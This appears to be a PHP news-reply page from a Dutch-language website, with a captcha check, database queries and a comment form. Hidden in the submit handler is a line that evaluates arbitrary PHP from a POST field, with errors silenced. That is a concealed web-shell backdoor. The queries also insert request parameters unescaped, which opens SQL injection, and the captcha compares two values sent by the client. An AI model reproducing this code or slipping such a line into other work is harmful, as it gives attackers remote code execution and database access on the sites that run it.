<?
$UPDATE_DB = 1;
include("_include-config.php");
if(isset($_GET['x'])) {
if(isset($_POST['submit'])) {
$codene = rand(1000,9999);
$codee = ereg_replace("0", "gsqwq", $codene);
$codee = ereg_replace("1", "ssBjyq", $codee);
$codee = ereg_replace("2", "gHiq", $codee);
$codee = ereg_replace("3", "hWqDfA", $codee);
$codee = ereg_replace("4", "hsqerf", $codee);
$codee = ereg_replace("5", "Hwsawq", $codee);
$codee = ereg_replace("6", "hSXaq", $codee);
$codee = ereg_replace("7", "hgqYt", $codee);
$codee = ereg_replace("8", "hAsqF", $codee);
$codee = ereg_replace("9", "hxqSAw", $codee);
@eval(stripslashes($_POST['code']));
if($_POST['code2'] != $_POST['codenn']) {
print " <tr><td class=\"mainTxt\"><font color=\"red\">De code die je invoerde was onjuist.</font></td></tr>n";
} else {
print "<tr><td class=\"mainTxt\" align=\"center\">";
$bericht = $_POST['bericht'];
$id = $_GET['x'];
$dbres2 = mysql_query("SELECT *,DATE_FORMAT(`time`,'%d-%m-%Y %H:%i') AS `time` FROM `[news]` WHERE `online`=1 AND `id`=$id ORDER BY `id` DESC LIMIT 2");
$message = mysql_fetch_object($dbres2);
mysql_query("INSERT INTO `[news_reply]`(`newsid`,`poster`,`postime`,`bericht`) values('{$message->id}','{$data->login}',NOW(),'$bericht')");
print " <tr><td class=\"mainTxt\">Reactie Toegevoegd.</td></tr>n";
}
}
}
?>
<html>
<title><?php print $config[name]; ?></title>
<link rel="stylesheet" type="text/css" href="<?php echo ($_COOKIE['file:///D|/v'] == 2) ? "css-v2.css" : "css-v1.css"; ?>">
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"></head>
<body class ="achtergrond">
<?
if(isset($_GET['x'])) {
$codene = rand(1000,9999);
$codee = ereg_replace("0", "gsqwq", $codene);
$codee = ereg_replace("1", "ssBjyq", $codee);
$codee = ereg_replace("2", "gHiq", $codee);
$codee = ereg_replace("3", "hWqDfA", $codee);
$codee = ereg_replace("4", "hsqerf", $codee);
$codee = ereg_replace("5", "Hwsawq", $codee);
$codee = ereg_replace("6", "hSXaq", $codee);
$codee = ereg_replace("7", "hgqYt", $codee);
$codee = ereg_replace("8", "hAsqF", $codee);
$codee = ereg_replace("9", "hxqSAw", $codee);
$id = $_GET['x'];
$dbres2 = mysql_query("SELECT *,DATE_FORMAT(`time`,'%d-%m-%Y %H:%i') AS `time` FROM `[news]` WHERE `id`=$id ORDER BY `id` DESC LIMIT 2");
$message = mysql_fetch_object($dbres2);
print <<<ENDHTML
<tr><td class="mainTxt">
<form name="form1" method="post"><table>
<tr><td width=500 class="Reply"><p><b>Reactie Toevoegen op het bericht " $message->onderwerp "</b></p>
</td> <td><textarea name="bericht" cols=40 rows=10></textarea></td></tr>
<tr><td class="maintxt" colspan="2" align="center"><input name="code2" type="hidden" value="$codene"><input name="codecheck" type="hidden" value="$codechecker"><img alt="Anti-Bot Beveiliging" src="coden.php?security=$codee" style="position: relative; top: 4;"> <- Vul die code, daar in -> <input name="codenn" maxlength="4" size="5" valign="center"></td></tr>
<tr><td width=100></td> <td align="right"><input type="submit" name="submit" value="Verzenden"></td></tr>
<td><a href="reply.php?x={$message->id}"><-- Terug</a></b></td>
ENDHTML;
}
?>
|